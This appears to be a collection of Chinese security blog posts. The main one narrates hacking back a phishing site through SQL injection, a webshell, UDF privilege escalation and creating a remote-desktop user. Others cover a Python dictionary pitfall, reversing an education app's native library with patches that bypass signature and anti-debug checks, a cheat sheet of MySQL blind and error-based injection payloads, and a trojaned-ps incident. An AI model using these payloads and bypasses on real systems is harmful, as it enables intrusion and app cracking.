钓鱼搞我?玩儿大了吧。。

昨天晚上在游戏里卖东西,有个人M我,截图没有了大概意思是让我便宜点儿,我问她能不能瞬秒,她说钱不够能不能给我充500点卡,我觉得可以,就加了她微信,给了她邮箱(我开始以为要给游戏账号的邮箱)。

过了一会儿说充好了,让我去邮箱里查,我一看:

点“激活订单”:

点“下一步”:

真的,在这种场景下很容易上当的。。。我当时已经把账号密码都输进去了,就差点“登录”了,突然反应过来,看了一眼域名:

阿里的域名服务,感觉不太对啊,再审查元素看一下,然后就!!(╯’ – ‘)╯︵ ┻━┻

当时我微信跟她说她玩儿大了,然后就把她删了。

(以下内容纯属虚构,你懂的。。)

躺床上沉思了5秒钟以后,我开始审视这几个钓鱼页面的请求,发现了一处宽字节注入:

看了一下mysql用户,发现是root,小开心,用sqlmap跑,找到当前的数据库czkzx:

这里有个sqlmap的使用技巧:这个注入能用union并且有回显,所以用–technique U指定下注入的技术,但是sqlmap默认只用order by判断1-10列,这里是13列(手动判断出来的),所以我用–union-cols 12-15指定下判断的列数(指定1-15发现sqlmap居然判断不出来)。

利用报错拿到网站绝对路径:

尝试用select into outfile写webshell,发现失败,原因是网站开了gpc。

看一下拖出来的数据,发现里面用户的密码都是以加盐hash的方式进行存储的:

找了几个破解了一下,都没成功,并且最关键的是我根本找不到后台在哪,于是我打算试下XSS。

在输入账号密码的地方插入XSS Payload,然后去数据库里查看一下:

发现数据在入库前做了HTML实体编码(后来我用sqlmap的–sql-shell去查看的时候发现是没有编码的形式,这是因为sqlmap在显示查询结果的时候做了一下解码,如下图)。

由于没有列目录漏洞,于是我就去读了几个我知道的文件源码,发现确实做了编码处理:

由于用mysql_connect方式连接的mysql不支持堆叠查询,所以也没办法用update修改数据库里的数据,XSS的思路好像也不太行。

接着想到一般这种钓鱼站都会有给fisher发推送邮件的功能,果然在数据库中找到了邮箱和密码:

但是试了一下,密码不对。。。

由于在源码中发现了数据库的root密码,于是我又回到了利用mysql写webshell的思路上,唯一的障碍就是gpc,如果能直接通过3306连接那就没有这个问题了。

尝试ping一下目标域名,发现是阿里的cdn:

试了一些方法,没有找到真实IP(其实也真不一定有公网IP)。

没什么好思路了,于是接着看源码,发现网站根目录下的index.php内容如下:

看到一个新的域名,比较好奇就ping了一下,发现居然不解析,应该是很早就到期了,现在没人注册。

然后我看到了下面的file_get_contents,突然看到了一些希望:

我可以注册这个域名,然后让钓鱼服务器访问我的网站,这样不就能获取到他的公网IP了吗!(前提是它有公网IP而不是内网映射出去的。)

一般mysql默认安装很多是0.0.0.0,但是这不意味着允许root用户远程登录,于是我先通过注入看了下:

看到%了!

抱着一丝希望,我花了45元注册了这个域名,然后把www子域解析到了我的服务器上,然后访问这个index.php,果然!我的服务器上出现了一个IP,百度了一下发现是香港的IP,不是阿里云(当时用Python启的服务,没截图,看下和小伙伴的聊天记录吧):

怀着激动的心情,我用nmap扫了下3306端口,发现端口是开放的:

连接mysql:

可以,很舒服!尝试写个phpinfo:

之后用webshell看了下权限,很低,目标mysql是5.0的,直接上t00ls的udf提权脚本:

成功拿到system权限:

查看下端口信息,发现3264端口是远程桌面的端口:

创建用户,登录:

Game Over.

 

从C段找网站真实IP的小技巧

1.探测C段IP时,Host头要设置成目标域名,不要用IP地址,这是因为如果目标用Nginx做反向代理,会通过Host头来选择转发目标,Host头不正确则不能得到正确的探测结果;

2.部分首页不好判断的网站可加路径进行检测,比如带上cookie访问某登录后页面。

 

思考一些问题

最近在驾校的班车上翻了翻p牛小密圈里的东西,明明看的都是技术文章,但是我想到了一些其他的东西。

现在我总是感觉自己的总结能力比以前下降了好多。

从我开始学技术起,就尝试找到那种知识沉淀的感觉。但找了挺长时间了,还是没太找到。刚开始用Evernote的时候,觉得快找到这种感觉了,互联网各种需要的、不需要的东西都被我收到里面,这确实让我学到了很多东西,但细想一下,这是我的沉淀吗?这明明就是用笔把书上的知识点划下来了而已,以前学习的时候我是很不屑这种行为的,认为这是一种很低级、很没成效且上限极其有限的学习方式。

那我以前是如何学习的呢?以数学为例吧,我从小学五年级开始记数学笔记,一直到大一结束,一共记满了十多个笔记本。根据我之前的观察,身边同学记数学笔记的不算少,但大都以记典型例题、考试错题为主,而我的数学笔记本上几乎没有例题,有的是各种公理、定理以及最重要的——各种由我自己总结的规律和套路甚至定理!现在来看,当时自己真的是手握大量的0day的状态,这才叫沉淀。

我是怎么从p牛的小密圈想到这些的呢?

看看p牛在圈子里发的技术文章:

《unset变量导致的安全问题》

《ThinkPHP框架漏洞挖掘(上)》

《谈一谈ORM的安全》

《Django渗透测试与代码安全漫谈(一)》

内容涉及PHP自身特性导致的安全问题、开发人员典型写法不当导致的安全问题、Web开发框架自身安全问题、Web开发框架不当使用造成的安全问题等等。如此多的总结类文章,里面每一个知识点看上去都需要一大堆的案例去提炼,p牛真的有这么多时间和精力去完成这么多的“一大堆案例”->“知识点”的过程吗?

我想到了我以前记数学笔记的过程,大多时候我的状态是这样的:做出来一道之前没见过的题目,可能马上意识到这样的题目可能是一个类型,然后我就可以从自己解题的过程或结果中总结出解题套路或者规律。举个例子吧,初中平面几何里有一种题目使用的解法叫做“截长补短法”。我第一次遇见这种题目时,自己想到了这种方法,把题目做出来了,然后马上意识到这可能是一个类型的题目,并且把自己用的方法进行了总结,最后给这种方法起名叫做“以一推一法”,这个名字意会一下应该能明白什么意思吧,是不是比“截长补短”维度还要高些?

只做一道题目,就能有这样的沉淀,做题目追求“质”而非追求“量”。

我没有问过p牛,臆测一下,p牛如今的大多沉淀应该也来自于这种对”质“的追求。脑补一个场景:p牛审一套cms,发现一个安全问题,马上意识到这可能是个通用的问题,于是自己小结一下,针对这个点去审计其他的cms,发现果然如此,然后形成沉淀(后面针对性的审计过程甚至可以省略)。再脑补一个场景:我审一套cms,也发现了这个安全问题,然后…就没有了。

是什么造成了这种差异?

p牛审过的代码、写过的代码比我不知道多到哪里去了!

想想自己凭什么能做题追求“质”,不正是建立在自己的数学功底很扎实的基础上吗?这个前提就是一棵树的树干,沉淀相当于枝叶。p牛的树干上枝繁叶茂,而我在没有树干的条件下只是看了看其他树上的枝叶就想模仿,也想长出大量枝叶,这可能就是我感觉自己总结能力不如之前的原因吧——根本不是总结能力变弱了,而是内力不足

在车上的时候想到了这些,就想写下来。学而不思则罔,思而不学则殆,自勉。

随便写一点儿

请假两周,本来说主要学车的,估计现在这种情况不好约车了。。。

对,还有个目的是做毕设,思路年前就想的差不多了,最近又有些新的想法,前端可以做的事情真的有很多很多。

这几天除了在网上耗学车课时,自己也学了一些东西,比如xposed模块编写的一些细节以及不同场景下的hook方法,这应该算是年前拖欠的东西了,另外一些拖欠的东西也打算这几天补回来。

哎?这样还有时间做毕设不。。

怎么才能一天只睡俩小时

 

解决Python主线程和子线程共享变量的问题

我们知道threading提供了优雅的threading.local()来处理多线程之间共享由主线程提供的变量并且互不影响的场景。我最近遇到个需求,需要在主线程和子线程之间共享变量且主线程需要得到字线程修改后的变量值,并且我又不想使用全局变量,那怎么办?
上一篇文章里提到的坑恰好能用上了。
下面这个链接可以看作上篇文章知识点的引申,总结的很全面了:
http://www.cnblogs.com/loleina/p/5276918.html
所以,往子线程里传字典就可以了!

有关Python字典的一个坑

最近用gevent改写自己的pocmap,改写的两个点如下:

1.针对每个url都有一堆poc去测试;

2.有一堆url要去测试。

之前改了1,测试速度立刻提升了nnnn倍,我正要爽得飞起的时候,改2出问题了。。

改了2以后发现之前有漏洞的站测不出来了!

抓包一看我就震惊了:

2016-11-09 17:20:31屏幕截图

 

我发现在测试所有目标的时候目标的路径都变成了/easyInsurance/html5/login.html,也就是在我目标url列表里最后一个站的路径,怪不得测不出漏洞,这是个什么情况?!

2016-11-09 17:23:51屏幕截图

 

2016-11-09 17:44:49屏幕截图

 

路径就是上面productname字典的path键值,输出一下看看情况:

2016-11-09 17:23:06屏幕截图

 

沃日,传到g_scan_one函数之前还是对的,怎么里面就覆盖了?难道是gevent的问题?不对呀,为啥只有productname覆盖了,前面的参数像target_ip都是正确的?

2016-11-09 17:21:15屏幕截图

和同事一起研究,在传到g_scan_one函数之前用id函数输出一下target_ip和productname的地址,结果如下:

2016-11-09 17:21:45屏幕截图

 

看到结果就明白了,字符串target_id的地址是每次都变化的,而字典productname的地址每次循环都是不变的,所以path键字符串的地址也是不变的,由之前的输出可以知道,g_scan_one函数是循环完才开始执行的(下图),所以productname参数就都被覆盖成最后一个了。。。

2016-11-09 17:51:06屏幕截图

 

 

破解某教学类APP核心功能

1.内容简介

本文会详解如何利用自己编写的APP来调用某教学类APP中的so库以达到机器刷题的目的,其中会分享自己在调试过程中的一些经验,包括使用ida调试安卓so库的一些技巧以及对程序流程进行分析的思路。

注:下文中使用Target表示该APP。

2.拍题请求/响应分析

TargetAPP的拍题功能为识别用户上传图片中的题目,随后返回对应题目和题解。使用burpsuite抓包分析该请求响应过程:

1

返回结果中的answers即为题解的密文,请求中的token参数是Target本地生成的签名,如果签名不正确则服务端不返回题解。

通过全局搜索特征字符串的方式去寻找拍题相关代码,使用grep –rn ‘beginUploadTime’ ./wenba_xbj_v5.0.3_online_server命令搜索结果如下:

2

 

使用jadx反编译工具,定位到相关代码,发现了token生成的函数如下:

3

由上图可知,token由beginUploadTime、uid、photoType、imgsign、dna等参数生成,跟进getWenbaToken函数如下:

4

该函数把传入的参数键值使用“&”连接,随后和时间戳一起被传入getNativeToken函数,继续跟进:

5 6

发现最后调用了一个native函数,至此找到了token的生成过程,继续查看处理返回结果的过程。可以使用jeb反编译工具的ctrl+x查看有哪些地方调用了生成token的函数,发现两处:

7

在分析的时候发现,jadx和jeb这两个反编译工具可以结合着用,有些smali代码jadx不能反编译成java代码,但jeb可以用goto这种语法识别成可读的代码。随便举个例子,比如下面这个isArmV7函数,分别贴上jadx和jeb的反编译结果:

8 9

接着分析程序逻辑,分析一下上面的两处调用之后发现下图这一处是上传图片的过程:

10

如何寻找处理返回结果的函数呢?处理返回结果函数所在类的对象通常会作为参数被传到发起http请求的函数中,比如上图中startHttpLoader函数中的WenbaRequest类,查看其代码发现decrypt函数正是处理返回结果的函数:

11

分析可知其中的SoUtil.decryptServerBytes函数为核心解密函数,跟进一下发现也是调用的native函数:

12 13

以上就是拍题请求、响应过程有关的java层代码。

4.尝试编写APP调用相关Native函数

首先需要找到这两个函数在哪个so库中,查看java代码发现该类通过System.loadLibrary的方式载入了两个so文件,分别是libbase.so和libWenbaCrashCatcher.so,如图:

14

静态查看so文件不方便的话,这里可以通过两次分别载入其中一个so文件,通过eclipse中的报错信息不同就可以知道所调用的函数在哪个so库中。通过尝试得知目标函数在libbase.so中。

调用的时候发现报错了,由于当时没有截图,这里只描述一下遇到的问题和解决的办法。遇到的第一个报错是so库中的JNI_Onload函数调用了getApplicationContext这样的方法(分析so代码得知),该方法是根据APP的包名来获得上下文信息,一开始我的APP包名是随意命名的,所以获取到一个null。去看一下TargetAPP的AndroidManifest文件,看到它注册了一个名为com.wenba.bangbang.BangbangApplication的应用:

15

于是修改我自己的APP包名和相关代码,并在AndroidManifest.xml中进行注册:

16

再次尝试调用,发现还是出错,只能去仔细分析libbase.so中的相关代码了。

5.相关Native层代码分析

把java函数和C函数关联起来有静态和动态两种方式,静态的方式是C函数在命名时根据所对应java函数的包名及函数名来命名,动态的方式是在so库中的JNI_Onload函数中调用RegisterNatives函数进行关联,其中gMethod结构的参数指明了对应关系,如下图所示,so库被加载后会在一个比较早的时间执行JNI_Onload函数:

17

通过分析可知libbase.so采用了动态关联的方式,于是使用ida看一下它的JNI_Onload函数:

18 19 20 21

跟下去可以看到JNI_Onload函数的主体,分析安卓so库时可以把jni.h这个头文件导入到ida中,然后修改参数的类型为jni.h中的类型,ida就会识别出一些jni.h中的方法名,便于我们进行分析,如下所示:

22

导入之后,因为我们知道JNI_Onload函数的第一个参数为JNIEnv *类型,按快捷键Y修改函数sub_24938的第一个参数的类型:

23

修改之后ida识别出了FindClass函数,如图:

24

由此可知JNI_Onload函数的主要功能由sub_265D4函数实现,所以先看一下这个函数,同样修改它第一个参数的类型,在该函数尾部发现了RegisterNatives函数:

25

上图中的off_973B4即gMethod结构,如图:

26

随便看一个表示java函数名的字符串发现是乱码,如下图,这是因为在注册时还需要调用相应的jni函数来将其表示成C语言中的字符串形式:

27

既然静态无法确定对应关系,这里有个办法,就是动态调试的时候在这9个native函数的开头都下断点,到时候看他断到哪个函数就知道我们调用的java函数对应哪个C函数了。

接下来使用ida去动态分析我们自己编写的APP,看一下在函数sub_265D4中都发生了什么。我用Windows虚拟机里启动eclipse的安卓4.4虚拟机的方法进行分析,这样可以利用虚拟机快照,方便在程序崩溃后迅速还原。需要注意的是虚拟机中一些程序的执行结果可能与在真机上执行不同,也有可能出一些莫名其妙的错误,如果遇到在安卓虚拟机上分析遇到了比较奇怪的问题,可以拿到真机上试一试,说不定就解决了,这里只是用虚拟机来动态理一下JNI_Onload函数的逻辑。

第一步,在安卓上运行android_server监听23946端口,android_server在ida安装目录的dbgsrv目录下:

28 29

第二步,使用adb forward tcp:23946 tcp:23946命令把安卓手机的23946端口转发到本地:

30

第三步,使用adb shell am start -D -n com.wenba.bangbang/com.wenba.bangbang.MainActivity命令以调试模式运行APP:

31

其中com.wenba.bangbang是APP的包名,com.wenba.bangbang.MainActivity是APP主Activity的名字,在AndroidManifest.xml文件中查看:

32

以调试等待模式运行APP后,在eclipse的DDMS可调式进程窗口就可以看到,其中8616为该程序的专用调试端口,8700时通用调试端口,建议使用专用的调试端口以防止冲突:

33

第四步,启动ida并附加该进程:

34 35 36

附加之后勾选如下调试选项:

37 38

其中有个选项是在加载so库的时候让程序断下来,一开始的时候libbase.so是没有加载到内存中的,如下图所示,按ctrl+s显示内存映射,搜索libbase.so:

39

当libbase.so加载时让程序断下来,便于我们在JNI_Onload函数开头,或者sub_265D4函数开头下断点。

第五步,使用jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8616命令以调试等待模式运行程序,其中8616即DDMS中显示的程序的专用调试端口:

40

之后在ida中按f9运行程序,发现程序随后加载了libbase.so并断下,如下图,点击取消即可:

41

再次在ctrl+s内存映射中搜索,发现已经加载了libbase.so,我们关注的是有X属性的libbase.so的加载地址,如下图所示,为A8A2D000:

42

这时候我们可以双开ida,使用动静结合的方式进行分析,函数sub_265D4的地址为libbase.so基值A8A2D000加上函数偏移265D4即A8A535D4,在指令窗口按快捷键G,输入该地址进行查看,如图:

43

在该指令处按快捷键C进行代码识别即可识别出该函数的汇编代码,如图:

111

 

在该处按f2下断点,然后按f9运行程序,在该处断下,PC寄存器的值即要执行的下一条指令的地址:

45

如何分析程序的逻辑呢?我们主要关注一些关键函数的执行结果即可。在arm架构、fastcall函数调用约定下,函数在调用时通过寄存器R0~R3传递前四个参数,如果函数参数超过4个,剩下的参数使用栈进行传递,函数的返回值同样保存在R0寄存器中,函数的返回地址通常保存在LR寄存器。

举个例子,来分析一下sub_265D4函数开头的一段逻辑:

46

我们看一下这个memcpy函数向dest指针所指向的地址存了什么东西,函数调用通常使用BL指令,在该位置下断点,并按f9执行,如图:

47

在数据窗口按G,然后输入此时R0寄存器,即dest指针所指向的地址BECEE37C,如图:

48

按f8单步步过memcpy函数,观察该地址中数据的变化,发现函数向这里复制了一个乱码字符串:

49

接着,函数sub_2581C函数同样使用了dest作为参数,我们同样单步步过该函数,发现这里的乱码字符串被解密为com/au/util/c:

50

解密结果被传到函数sub_25854中:

51 52

函数sub_25854中调用了一个libdvm.so这个系统so库中的函数,我们还是通过导入jni.h,然后把它第一个参数的类型改为JNIEnv *的方式来看一下,结果如下:

53

原来这个函数就是执行libdvm.so中的FindClass函数,这段代码的作用就是获取com/au/util/c类的指针(类似的东西)。

使用上述方法,我们就可以逐步分析出整个JNI_Onload函数的逻辑,整理如下:

在函数sub_265D4中前后两次调用了函数sub_2A368,如图:

54 55

在函数sub_2A368中进行了APP签名的校验,之前的崩溃即因在该函数中签名校验不通过,函数sub_2A368中进行签名校验的代码如下:

56

于是我们可以通过patch掉相关判断条件的方式来过掉它的签名校验,patch的方法举例如下,看下图中的代码:

57

如果v56等于40才正确,而我们的执行结果不等于40,我们就可以把相应的汇编代码BEQ改为BNE(或BNE改为BEQ),对应到机器码则是D0改为D1(或D1改为D0),如下图,本来是BNE,我们就改成BEQ,建议使用16进制编辑器根据偏移位置进行修改:

58 59

根据我们动态调试的结果,看程序在哪个分支崩溃我们就patch掉哪个跳转条件。在patch完第一个sub_2A368函数以及之后的一系列判断后,发现在第二个sub_2A368中又出错了,分析了一下,发现程序在第二个sub_2A368之前调用了sub_2AD2C函数:

60

在该函数中程序启动了一个线程,线程的主体函数为sub_2AAB8:

61

简单看一下发现这个函数似乎是用来反调试的:

62

于是patch掉该线程的产生过程,即patch掉调用pthread_create的代码:

63 64

将46 F0 C5 FA改为F8 8D 00 00,即MOV R0, R0  POP {R3-R7,PC},即执行一条无用指令之后马上返回。

完成上述patch之后,我们的APP就可以成功调用libbase.so中的函数了,成功地生成了token:

65

然而调用解密函数进行解密的时候,发现程序又崩溃了,于是去分析它的解密函数sub_26448(在所有native函数的开头下断点找到的,一开始我patch掉反调试线程的时候不小心偏了一个字节,于是我惊奇的发现ida直接跳到这个函数的中间执行了…),发现崩溃在下图if里面的代码:

66

于是粗暴地patch掉跳转条件,让程序不执行if里面的代码,发现成功执行完了解密函数,但是解密的结果依然是乱码,所以我又不得不去仔细分析这个解密函数。

6.题解加解密逻辑分析及调试TargetAPP

首先静态分析一下sub_26448函数,从java代码里我们可以知道该函数有两个参数,而在ida里sub_26448函数显示有5个参数:

67

其中前两个参数是JNIEnv *一类的固定类型的参数,从第三个参数开始才是我们从java代码传过来的,那这里为什么有三个呢?分析一下就可以知道,参数a3应该是我们传进来的时间戳有关的参数,参数a5是我们传进来的用于解密的题解密文,而a4参数在ida的整个sub_26448函数中都没有用到过,可知是ida反汇编出现了小错误,这是经常出现的,不影响我们分析函数的逻辑。

通过静态分析可知,程序先是在我们传入的字符串中寻找小写字母j,然后把小写字母j之前的字符串的长度传入函数sub_2A018中:

68

之后经过一系列变化,又把该长度和与时间戳有关的参数一起被传入函数sub_260E8中:

69

其中参数s作为函数输出,随后和要解密的字符串一起被传入函数sub_2A068中:

70

这个函数里应该就是解密的过程了,进去看一下:

71

果然,函数先是利用我们传入的s变量生成了AES解密所用的key,然后利用key去解密字符串。由此可知,解密所用的key的生成只与s有关,而s的生成在函数sub_260E8中,再进去看看:

72

看到了上图所示代码,v4即我们传入的和时间戳有关的参数,程序先用它除以86400,然后再乘86400,就会把相差在86400以内的时间戳变为相同的值,而86400秒即1天,故猜测服务端用于加密题解的密钥一天一换,所以客户端才做如此处理。而我用于解密的答案是几天前就获取的,一直用它来做实验,所以肯定不能解密成功。于是我又获取了一个最新的答案去解密,果然就成功了:

73

其实在分析的时候想的东西比较多,因为我对libbase.so做了一系列的patch,每当结果出错的时候,比如token生成的不正确或者题解解密不正确,我不能确定是因为我参数传的不对还是因为我做了patch,所以我就特别想看看TargetAPP生成的一些关键的中间值,比如s的值,和我的是不是一样。但是TargetAPP做了反调试和重打包校验,并且没有在AndroidManifest.xml中开启debug选项,那该如何去动态调试呢?

首先说一下没有debug选项的解决办法。安卓系统在判断一个程序是否可调试时,会首先看自己系统的总调试开关是否开启,如果开启的话则该系统上所有进程都是可调试的,如果系统调试开关关闭则去程序是否可调式才由AndroidManifest.xml中的debug选项决定。可以在安卓手机上用getprop re.debuggable命令获取系统调试开关的状态,在安卓虚拟机上执行如图:

74

发现安卓虚拟机的系统是可调式的,但TargetAPP在虚拟机中不能正常运行,而真机上的系统调试开关都是关闭的,所以我们必须开启真机的系统调试开关。方法有两种,一种是重新编译安卓内核,把调试开关打开,比较麻烦且不易成功(网上可能有别人编译好的镜像);第二种是使用网上的mprop程序在系统内存中修改该调试开关状态的值,只要系统不重新启动就没问题,这种方法比较实用。

运行mprop之前:

75

运行mprop:

76

结果如下,发现系统调试开关打开:

77

在adb中执行stop;start命令重启adb服务,即可在DDMS中看到所有进程都变成可调式状态:

78

之后我们首先在真机上运行TargetAPP,然后直接使用ida附加Target进程。在调试时发现我只能按一次f9,断下来之后再运行就会触发TargetAPP的反调试而崩溃,不过这足以使我们看到一些关键的中间值了。比如我们想看s字符串的值,就可以找出对应指令的地址,即下图中指令在内存中的地址(so库基址+指令偏移):

79

即在sub_260E8刚刚运行完时下断点,查看s在内存中的位置,为sp+3C:

80

SP即函数sub_26448运行时的栈顶指针,动态调试到该位置SP的值如下所示:

81

在数据区找BECEE3D8+3C=BECEE414,如图:

82

 

这样就能看到s的值。其实调试到最后,我发现在26158处下断点可以完美地避开TargetAPP的反调试,一直单步到解密函数执行结束,这对于我确认分析结果是否正确起了很大作用。

 

mysql各种注入点盲注/报错利用方法

1.select
(1)”select “.$sqli.” from test_1 where id=1;”
select name and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) from test_1 where id=1;
select name or extractvalue(1,concat(0x7e,(select user()))) from test_1 where id=1;
(2)”select name from “.$sqli.”_1 where id=1;”
select name from (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a)b_1 where id=1;
(3)”select name from test_”.$sqli.” where id=1;”
select name from test_1,(select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a where id=1;
(4)”select name from test_1 where id=”.$sqli.”;”
select name from test_1 where id=1 and if(ascii(substr((select user()),1,1))=114,sleep(2),0);
select name from test_1 where id=1 or extractvalue(1,concat(0x7e,(select user())));
(5)”select name,pass from test_1 where id=1 group by “.$sqli.”;”
select name,pass from test_1 where 1=1 group by name and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name,pass from test_1 where 1=1 group by name or extractvalue(1,concat(0x7e,(select user())));
(6)”select name,pass from test_1 where id=1 group by name asc “.$sqli.”;”
select name,pass from test_1 where 1=1 group by name asc,(select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name,pass from test_1 where 1=1 group by name asc,extractvalue(1,concat(0x7e,(select user())));
(7)”select name,pass from test_1 where id=1 group by name asc having name='”.$sqli.”‘;”
select name,pass from test_1 where id=1 group by name asc having name=’tttt’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′;
select name,pass from test_1 where id=1 group by name asc having name=’tttt’ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′;
(8)”select name,pass from test_1 where id=1 group by name asc having name=’tttt’ order by “.$sqli.”;”
select name from test_1 where id=1 order by 1 and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name from test_1 where id=1 order by 1 or extractvalue(1,concat(0x7e,(select user())));
(9)”select name,pass from test_1 where id=1 group by name asc having name=’tttt’ order by 1 asc “.$sqli.”;”
select name from test_1 where id=1 order by 1 asc,(select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a);
select name from test_1 where id=1 order by 1 asc,extractvalue(1,concat(0x7e,(select user())));
(10)”select name,pass from test_1 where id=1 group by name asc having name=’name’ order by 1 asc limit 1,”.$sqli.”;”
select name,pass from test_1 where id=1 order by name limit 1,1 procedure analyse(extractvalue(1,concat(0x7e,user())),1);
2.insert/update/delete
(1)”insert into test_1(name, pass) values(‘tttt’, ‘”.$sqli.”‘);”)
insert into test_1(name,pass) values(‘tttt’,’1′ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′);
insert into test_1(name,pass) values(‘tttt’,’1′ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′);
(2)”update test_1 set pass='”.$sqli.”‘ where name=’tttt’;”
update test_1 set pass=’pass’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′ where name=’tttt’;
update test_1 set pass=’pass’ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′ where name=’tttt’;
(3)”update test_1 set pass=’pass’ where name='”.$sqli.”‘;”
update test_1 set pass=’pass’ where name=’pass’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′;
update test_1 set pass=’pass’ where name=’pass’ or extractvalue(1,concat(0x7e,(select user())));
(4)”delete from test_1 where name='”.$sqli.”‘;”
delete from test_1 where name=’tttt’ and (select * from (select(if(ascii(substr((select user()),1,1))=114,sleep(2),0)))a) and ‘1’=’1′;
delete from test_1 where name=’tttt’ or extractvalue(1,concat(0x7e,(select user()))) and ‘1’=’1′;

系统命令被替换

前几天的一次应急,客户漏洞没有及时修,短短几天就又被搞了。

查的时候看到几个异常连接,找到了对应的进程,结束掉之后发现还能抓到往攻击者IP发的包,但进程就是看不到,很神奇。

在老司机的指点下,看了下/bin/ps,原来被攻击者替换掉了。

和队友一起把这个假的ps拿出来分析了一下,发现似乎是网上可以找到的名为billgates的后门,其中就有替换netstat、ps、lsof等系统命令的功能。

链接:http://sec.chinabyte.com/213/13664713.shtml